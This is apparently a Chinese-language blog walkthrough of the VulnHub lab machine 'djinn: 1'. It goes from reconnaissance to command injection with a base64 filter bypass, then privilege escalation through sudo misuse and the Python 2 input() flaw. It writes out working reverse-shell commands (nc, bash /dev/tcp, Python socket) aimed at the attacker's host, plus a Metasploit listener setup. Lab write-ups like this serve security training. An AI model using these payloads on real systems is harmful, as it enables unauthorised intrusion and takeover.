『VulnHub系列』djinn: 1-Walkthrough

靶機地址

難度:中等

靶機發布日期:2019年11月18日

靶機描述:Level: Beginner-Intermediate
flags: user.txt and root.txt
Description: The machine is VirtualBox as well asVMWare compatible. The DHCP will assign an IPautomatically. You’ll see the IP right on the loginscreen. You have to find and read two flags (user androot) which is present in user.txt and root.txtrespectively.
Format: Virtual Machine (Virtualbox - OVA)
Operating System: Linux

博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]

工具、知識點和漏洞

  • nmap
  • burpsuite
  • gobuster
  • uncompyle2
  • 命令注入
  • Python input() 漏洞

0x00、信息收集

靶機IP:192.168.56.109

nmap -sn 192.168.56.0/24

在這裏插入圖片描述
端口和服務

nmap -sS -sV -T5 -A -p- 192.168.0.109

在這裏插入圖片描述
在這裏插入圖片描述
ftp命令大全詳解

匿名賬戶登錄ftp下載並查看三個txt,得到一組用戶名密碼、提示1337端口有個遊戲以及一個可能是用戶名的nitish81299

在這裏插入圖片描述
在這裏插入圖片描述
1337端口跑的是個啥呢?先開始用瀏覽器訪問了一下,連接被重置了。隨後telnet訪問了一下

在這裏插入圖片描述
在這裏插入圖片描述
從圖中可以看出,是做一些加減乘除的運算,還必須得做完1000次,貌似需要我們寫個腳本,所以先放一放~

nmap掃描之後發現7331端口跑的是HTTP服務,所以對它進行頁面、目錄枚舉

gobuster dir -u http://192.168.56.109:7331/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

枚舉結果

  • /wish (Status: 200)
  • /genie (Status: 200)

訪問http://192.168.56.109:7331/wish,輸入了id,提交之後執行了id命令。所以這裏存在系統命令命令注入

在這裏插入圖片描述
在這裏插入圖片描述

0x01、getshell

ifconfig命令查看kali的IP爲192.168.56.104

msfconsole做好接收反彈的shell的準備

msfconsole
use exploit/multi/handler
set payload cmd/unix/reverse_bash
set lhost 192.168.56.104
set lport 1234
exploit

nc -e /bin/bash 192.168.56.104 1234反彈shell,結果提示:Wrong choice of words

在這裏插入圖片描述
爲方便測試我們使用burpsuite進行bypass測試。

命令注入的過濾一般是對一些特定字符或者關鍵字進行過濾

cmd=ls --> 可執行
cmd=ls -lah --> 可執行
=> 說明空格沒有被過濾

cmd=whoami --> 無法執行
cmd=w\ho\am\i --> 可執行
=> 說明過濾了某些關鍵字

cmd=uname -a --> 可執行
發現靶機是Ubuntu系統,所以後續reverse shell的時候不打算使用nc

cmd=echo w\ho\am\i --> 可執行

在這裏插入圖片描述
echo可以被執行,那就試試base64編碼吧。編碼bash -i >& /dev/tcp/192.168.56.104/1234 0>&1

或者編碼python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.104",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

可以看到編碼python版本的reverse shell有效

在這裏插入圖片描述
嘗試bash reverse shell

編碼cat /etc/passwd,嘗試讀取文件內容
cmd=echo Y2F0IC9ldGMvcGFzc3dk | base64 -d
結果:http://192.168.56.101:7331/genie?name=cat+%2Fetc%2Fpasswd

cmd=echo Y2F0IC9ldGMvcGFzc3dk | base64 -d| bash
結果:成功讀取內容

cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTIzNCAwPiYx | base64 -d| bash
結果:http://192.168.56.109:7331/genie?name=,沒有反彈shell。

按理來應該是能夠反彈shell的,可是爲啥沒有反彈呢?隨後我直接到網頁上執行了相同的命令,結果就成功反彈shell了。

在這裏插入圖片描述
之後猜測可能是burpsuite環境與瀏覽器環境之間存在url編碼差異的原因,於是我對整個payload進行了url encode,然後在burpsuite上執行,reverse shell成功

在這裏插入圖片描述
之後羣裏有個表哥告訴我,說只需要對空格加號進行url編碼,而不需要對整個payload進行編碼

cmd=echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTIzNCAwPiYx%20| base64%20-d|%20bash

下面是對空格和加號進行url編碼之後再url解碼的截圖,可以看到解碼之後payload並沒有改變。

在這裏插入圖片描述
在這裏插入圖片描述
獲取shell之後要做的第一件事是使用Python獲取一個tty,不然有些命令是無法執行的,這一步很關鍵。

python -c 'import pty; pty.spawn("/bin/bash")' # 有些沒有安裝Python2,所以需要換成python3 -c

如果你想使用clear清屏,那麼只需要給TERM這個環境變量賦值screen即可

export TERM=screen # 賦值xterm也可以

0x02、權限提升

--------------------------------------------------------------Begin 套話分割線 Begin--------------------------------------------------------------

關於Linux提權,可以直接用腳本蒐集一下對於提權有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux

先在kali上開啓HTTP服務

python -m SimpleHTTPServer 65534

使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄

因爲本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

爲了便於查看收集到的信息,我將結果輸出到report.txt文本中,之後使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶機做了這些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本。

-------------------------------------------------------------- End 套話分割線 End --------------------------------------------------------------

獲取user的flag

讀取/etc/passwd發現有兩個用戶samnitish

/home/nitish目錄下發現user.txt,但是www-data無權限讀取;sam的用戶目錄也無權限查看。於是我返回到/opt/80目錄,這裏可能有一些線索。

讀取app.py的內容,在裏面發現了過濾cmd的實現方法以及一個可能是線索的文件/home/nitish/.dev/creds.txt

在這裏插入圖片描述
在這個文件裏面我們發現了nitish用戶的密碼:nitish:p4ssw0rdStr3r0n9,隨後切換至該用戶並獲得該用戶的flag

在這裏插入圖片描述

獲取root的flag

查找sudo權限命令

sudo -l

在這裏插入圖片描述
之後查看了一下使用說明,發現可以通過這個可執行文件得到一個shell,那麼現在的問題就是應該輸入什麼樣的參數才能獲得sam用戶的shell?

在這裏插入圖片描述
隨後使用strings命令簡單看了一下這個可執行文件,但好像也沒有什麼特別明確的東西。

在這裏插入圖片描述
再用man /usr/bin/genie查看一下使用幫助

man是manual的縮寫,man命令用來提供在線幫助,通過man命令可以查看Linux中的命令幫助、配置文件幫助、編程幫助等信息。

在這裏插入圖片描述

genie可以完成你所有的願望,甚至可以提升你的權限。

我執行了sudo -u sam /usr/bin/genie -p "/bin/sh",然而並沒有得到sam的shell。隨後執行了sudo -u sam /usr/bin/genie -cmd whoami得到了sam權限。

在這裏插入圖片描述
再次執行sudo -l,得到如下結果:

在這裏插入圖片描述

執行sudo /root/lago之後,大兄弟表示很是懵~

在這裏插入圖片描述
隨後嘗試讀取兩個用戶的.bash_history,結果都是沒有權限……開啥玩笑呢

在這裏插入圖片描述
之後我用find / -writable -type f 2>/dev/null查找了一下可寫文件,結果發現了一個/home/sam/.pyc,雖然之前也看到過,但那時候並沒有引起我的注意,接着讀取了一下文件的內容。

在這裏插入圖片描述
從上圖看其實有點懵,我把主要的東西粘貼出來,你再看看。

Working on it!!
Choose a number between 1 to 100: sEnter your number:
Better Luck next time
Enter the full of the file to read: s!User %s is not allowed to read
What do you want to do ?
Be naughty
Guess the number
Read some damn file
Enter your choice:
work your ass off!!

這些話你之前是不是都看到過?對,就是在/root/lago這個可執行文件裏面看到過。也就是說/root/lago的源碼是Python,你看/home/sam/.pyc裏面也有這樣的描述/home/mzfr/scripts/exp.py

pyc是一種二進制文件,是由Python文件經過編譯後所生成的文件,它是一種byte code,Python文件變成pyc文件後,加載的速度有所提高,而且pyc還是一種跨平臺的字節碼,由Python的虛擬機來執行的,就類似於Java或者.NET的虛擬機的概念。pyc的內容與Python的版本是相關的,不同版本編譯後的pyc文件是不同的,例如2.5版本編譯的是pyc文件,而2.4版本編譯的Python是無法執行的

所以能不能把.pyc反編譯成.py?先把這個文件傳到本地

在這裏插入圖片描述
隨後我們用uncompyle2反編譯.pyc

這個需要自己到Github下載

在這裏插入圖片描述
有了源碼就好辦了,雖然對Python語言自身的漏洞沒什麼瞭解,但畢竟可以搜索嘛。讀了一下源碼,發現可供利用的也只有guessit()這個方法了。

def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'

先在某度進行了一番搜索之後,沒有找到想要的東西。之後用Google搜索python input() vulnerability,找到這篇文章:vulnerability-input-function-python-2-x,強烈建議你看一下

我把關鍵地方截了個圖

在這裏插入圖片描述
根據這個漏洞,結合上面的代碼,我們只需要輸入num,就可以得到root權限的shell了

在這裏插入圖片描述
新的一個月,祝各位早日迎娶白富美。哈哈哈

如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。更多VulnHub靶機的Walkthrough,請訪問本人博客(https://blog.csdn.net/weixin_44214107)。歡迎掃描下方個人微信二維碼與我交流。我是ins1ght.

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章